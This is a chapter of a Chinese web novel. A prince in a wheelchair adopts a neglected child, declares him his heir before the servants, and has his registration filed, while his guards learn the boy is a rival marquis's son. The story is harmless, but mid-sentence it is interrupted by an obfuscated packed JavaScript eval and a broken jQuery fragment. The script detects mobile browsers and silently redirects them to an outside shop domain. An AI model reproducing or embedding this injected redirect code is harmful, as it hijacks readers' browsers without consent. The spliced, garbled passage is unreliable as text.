屋子里烛火跳动。
虞知言只露出来半截毛茸茸的小脑袋,身子软软地趴在段雪峤怀里,声音含糊:“是四少爷,五少爷经常来我的院子……唔,我讨厌他们。”
那些跟班们就是这么喊的。
段雪峤轻拍着他的后背,心底暗暗思忖:莫非虞知言是哪个大户人家的家生仆?可即便是家生仆,也不该被养成这般模样。
他垂眸放缓语调,轻声追问:“那他们平日都唤你什么?”
虞知言歪着脑袋,“唔,叫扫把星。”
段雪峤落在他后背的手顿住,双眉紧紧蹙起,眼底闪过一抹戾气:“扫把星?”
他低头细细打量怀中小人,只见虞知言面色安然,眼底澄澈,根本不懂这三个字里裹着的恶意,只当是个寻常称谓。
“你知道扫把星是什么意思吗?”
虞知言小声嘟囔:“知道呀,就是天上专门扫地的星星。
他不喜欢这个称呼,他才不要扫把,他要当盘子星,糕点星。
段雪峤一时间不知道该庆幸于虞知言不通俗事,还是该对虞知言小时候遭受到的恶意愠怒。
他压下眼底沉沉的郁色,轻柔抚过小孩的脊背,温声试探:“阿言还记得,从前住在哪里吗?”
若是不记得最好,若是记得……可让人警告一番,养出来这般刻薄无礼的公子哥,想必那户人家的父母也不称职。
虞知言听着段雪峤这话,立马惶恐起来,这里离着虞府不过是一条巷子,义父若是知道了不会把他送走吧?
想到这里,他双手立马抱紧段雪峤,飞快摇着脑袋:“不记得!不记得!”
段雪峤微垂着眼帘,心里暗道:原来是知道。
他安抚的拍了拍虞知言,“无碍。”
这样一家不通情达理的主家,再加上双亲故去,的确没有什么好怀念的。
如此甚好,虞知言便可以安心在王府里,不必再受旧事牵扯,也不必再受他人欺凌。
心头的惶恐褪去,倦意翻涌而上,虞知言把脸埋在他颈间,声音软糯黏糊:“义父,我困了……”
段雪峤指尖不急不缓地轻拍他的后背,小孩本就觉浅,不过片刻,怀中小人呼吸便渐渐平稳。
段雪峤瞧着趴在自己怀里睡着的人,他能感觉到虞知言呼吸是柔软的肚皮收缩的弧度,小孩子身上略高些的体温,清浅的呼吸落在他衣襟前,贴近他心口的心脏匀称的跳动。
这一刻段雪峤觉得自己原本空寂的心缓和下来。
原本了无牵挂的世间,他寻到了新的意义。
他亲手养大的虞知言身上会有他的影子,带着他的习惯,日后还会承袭他的爵位,他亲手教给虞知言一切,亲手雕琢虞知言的未来。
“义父……阿言……”
段雪峤嘴里咀嚼着这两个词,手捧着虞知言的脸颊,小人睡得脸颊微红,日渐圆润的脸颊肉压在掌心,被挤得突出一小块,软软的,滑滑的。
他指尖轻蹭了下虞知言的脸颊,温声道:“真是有意思……”
雨淅淅沥沥下了一宿,王府庭院的青石阶上落满金黄的桂瓣,层层叠叠,本就清冽的秋日,经雨一下寒意更甚。
虞知言手里捧着姜茶暖手,晃荡着小脚看院子里金色澄黄的花瓣,空气里带着浓郁的桂花香,还有手里姜茶的味道。
只嗅得那股冲鼻的姜味,他立刻皱起小巧的鼻尖,小嘴瘪了瘪,趁人不备放下瓷碗,起身就要溜。
连青瞧见后立马阻止,“哎,小公子,王爷让我看着你喝完……”
虞知言咂了咂嘴,方才抿的一小口姜茶还留着辣味,他当即捂住耳朵,小步往前窜:“我去找义父!”
连青摇了摇头,大跨步追过去,“王爷吩咐了……”
“不要不要不要……”虞知言捂着耳朵小短腿扑腾得倒是快,从廊下跳下来拐了个弯,过了拱门一溜烟跑去了前院。
“义父义父……”
人还没到,清脆的童音就先传了过来,前院声音一静,紧接着众人便瞧见一个暖橙色的小团子跑过来,一头扎进前方大人物的怀里。
因着是下了雨,虞知言身上穿得利索,暖橙色的外衫,下面穿着宽松的同色灯笼裤,袖口因着虞知言攀着段雪峤的脖颈而露出一节藕白色的小臂,圆圆润润的,后脑扎着个麻花辫,发带尾端坠了颗小珠子。
段雪峤托着他的小身子,把他脑袋上的呆毛往下压了压,垂眸瞧他:“嗯?”
虞知言抬着眼委委屈屈地看着他,“不想喝姜茶,辣。”
段雪峤捏了捏他软软的脸颊,声音柔和:“那便不喝。”
听着这宠溺的语气,下面的人眼底都闪过一丝惊愕,这……这还是他们王爷吗?谁不知这半年他们王爷性情阴晴不定,狠厉无常,何曾有这般好说话的时候?
“嗯。”
虞知言得了应允,开心地点了点小脑袋,他这才瞧见前院站着一堆的人,侧过身有些好奇道:“他们是谁呀?”
“是王府的人。”
是以往王府的仆人,大多是以往爹娘救助过无家可归的人,后来自愿留在王府成了仆人,只有少数一些签了卖身契。
虞知言好奇,下面的人对虞知言更好奇。
不曾听闻王府里什么时候多出一位小公子啊?
他们扫过虞知言那张白净可爱的脸,紧接着就瞧见了虞知言心口戴着的那枚金色的平安锁,两边垂着的璎珞都是上好的珊瑚珠子,一颗就能抵得上外头铺子两三月的租金,极其贵重。
他们立马识趣地垂下眼,刚刚还听着这孩子唤王爷义父,原来是王府的小主子。
果不其然,下一秒段雪峤便开口,声音不高,却带着不容置喙的威严。
“他是本王的世子,从今往后,府中众人好生照拂,若有半分冲撞怠慢,休怪王府无情。
话音落地,院中下人齐齐俯首:“谨遵王爷吩咐!”
他们都是王府的老人了,又受过先王爷跟先王妃的恩惠,自然识时务。
站在最左侧的张五娘早就听说过这个孩子,现在看虞知言在段雪峤怀里,一大一小两个人依偎着,她就觉得眼眶发红。
王爷王妃显灵,世子爷日后终于有个伴了,这两个孩子互相陪伴着,定不会再说什么寻死的话了。
听闻小世子爱吃,她今日定要拿出看家本领来。
酱香浓郁的红烧排骨,喷香扑鼻的糖醋鸡翅,清脆可口的笋丁腊肉,还特意做了一份红豆牛乳酪,上面放了琥珀色的桂花蜜。
虞知言瞪大了眼,不敢置信地又吸了吸鼻子,然后抬头跟抓着他手的段雪峤大眼瞪小眼。
有这么香的饭,为什么前几日不拿出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942304|213342||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来?
段雪峤神色如常,抬手抹了下他快要流口水的嘴巴,转动轮椅来到桌前,“喜欢的话,日后都给你做。”
虞知言咽了咽口水,怪不得他,真的好香啊,他坐到小凳子上,撑着手看段雪峤给他布菜,“我想吃那个!”
段雪峤顺着他的视线过去,端过那碗牛乳酪,舀了一勺,“不知道你能不能吃牛乳,先吃一点。”
虞知言立刻仰起小脸,乖乖张开小嘴:“啊——”
一勺细腻绵密的牛乳酪送入唇间,牛乳的香混着桂花的甜,他鼓着圆圆的腮帮细细咀嚼,几口便咽下肚,弯弯的眉眼盛满满足:“好吃!还要!”
段雪峤又给他一勺,而后放下碗,“不宜贪多。”
虞知言眼巴巴地瞧着那碗好吃的红豆牛乳酪冷落在一旁,连带着脑门上翘着的一缕头发都垂了下来,透着一股可怜巴巴的劲。
段雪峤瞧着觉得好笑,给他夹了一块排骨。
虞知言立马转移了注意力,手里抓着排骨嚼嚼嚼,他吃东西的时候很虔诚,除了第一次囫囵得跟个小仓鼠似的,平时倒很乖巧,也没有发出声音,就安安静静地在那啃。
长而黑的睫毛垂着,只有脸颊肉鼓鼓的,在啃东西,可爱极了。
段雪峤指节叩击在桌面上。
现如今府上人都已知道虞知言的身份了,但是还不够,要上户籍,写拜帖,广而告之,这样才能落实虞知言的身份。
日后若是遇到虞知言口中那什么少爷,也只有俯身唤虞知言世子的份。
一念既定,他当即沉声吩咐身侧的连峰,着手办理所有事宜。
他的阿言,绝不能再受半分委屈。
他一边吩咐着,一边拿温热的帕子给虞知言净手,全然没有瞧见连峰略带僵硬的脸色。
这些时日,该查明的也查明了。
除了连青啥也不知道,连钺听着虞知言的名字,早早便调查了个清楚。
这一查倒还不如不查,虞知言竟还真是镇南侯府上的孩子,还是嫡幺子,就是不知道那镇南侯夫妇怎么想的,把长子跟二子带在身边,把刚出生没几年的幺子丢在家里。
且镇南侯跟武安王府阵营不同,积怨颇深。
两个侍卫在房顶上待了一夜没想出个法子,第二天黑着眼圈便看着下面段雪峤神色温和地抱着虞知言,宣布虞知言便是王府小世子。
连峰跟连钺互相对视一眼,同时下定了主意。
虞知言是他们王府的小世子,至于那什么镇南侯什么虞家孩子,他们全然不认识。
连峰行事利落高效,次日一早便动身前往户部,未曾想还没踏进户部司的大门,就跟大理寺少卿裴谳遇上。
裴谳手里捏着一张纸,瞧了又瞧,素来冷峻的脸上带着几分难以言喻又费解的神情:抬眸看向连峰:“你家王爷是故意的?特意将镇南侯府的嫡子,收为自己的世子?”
连峰紧皱着眉,未曾应话,六部之内的人倒是做什么都迅速。
裴谳本不是多管闲事之人,只是这般朝野罕有的新鲜事,难免让人新奇。
他将盖好官印的户籍册递出,淡淡道:“圣上素来挂念武安王府子嗣单薄,如今王爷得一世子,也算能给朝堂,给一个交代。”
话音一转,他再度追问:“说真的,你家王爷当真不是蓄意为之?”